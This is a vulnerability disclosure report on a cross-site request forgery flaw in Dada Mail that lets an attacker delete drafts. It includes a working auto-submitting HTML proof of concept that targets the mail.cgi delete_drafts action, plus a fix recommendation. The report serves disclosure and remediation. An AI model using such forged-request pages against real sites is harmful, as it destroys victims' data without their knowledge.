Cross-Site Request Forgery (CSRF) in justingit/dada-mail
Reported on
Sep 12th 2021
✍️ Description
Attacker able to delete any Draft with CSRF attack.
In CSRF attacks it is necessary that a user logged into your application and just going to a malicious website and after that only with a redirection attacker can perform attack on unprotected endpoint, this means only with visiting a site a unwanted action will be perform without that user aware from that.
Or users with low level privilege can send a link to other users and admins with higher privilege and then their malicious request will be executed without that victim users and admins be aware about that.
🕵️♂️ Proof of Concept
1.First of all admin or user with right privileges already should be logged in Firefox or Safari.
2.Open the PoC.html (it is auto-submit).
3.Here Draft with id 436
will be deleted after the PoC.html
file opened.
// PoC.html
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://dadademo.com/cgi-bin/dada/mail.cgi" method="POST">
<input type="hidden" name="flavor" value="delete_drafts" />
<input type="hidden" name="draft_ids" value="436" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
This PoC can perform attack without that users noticed and Also PoC can send multiple request at same time that means attacker can Bruteforce all possible actions ( with using multiple Iframe )
💥 Impact
This vulnerability is capable of make medium damage on availability and integrity of system.
Fix
You should set a CSRF token for each user/form.
All CSFR vulnerabilities are fixed in the following branch, which will be merged in master soon: https://github.com/justingit/dada-mail/tree/features-csrf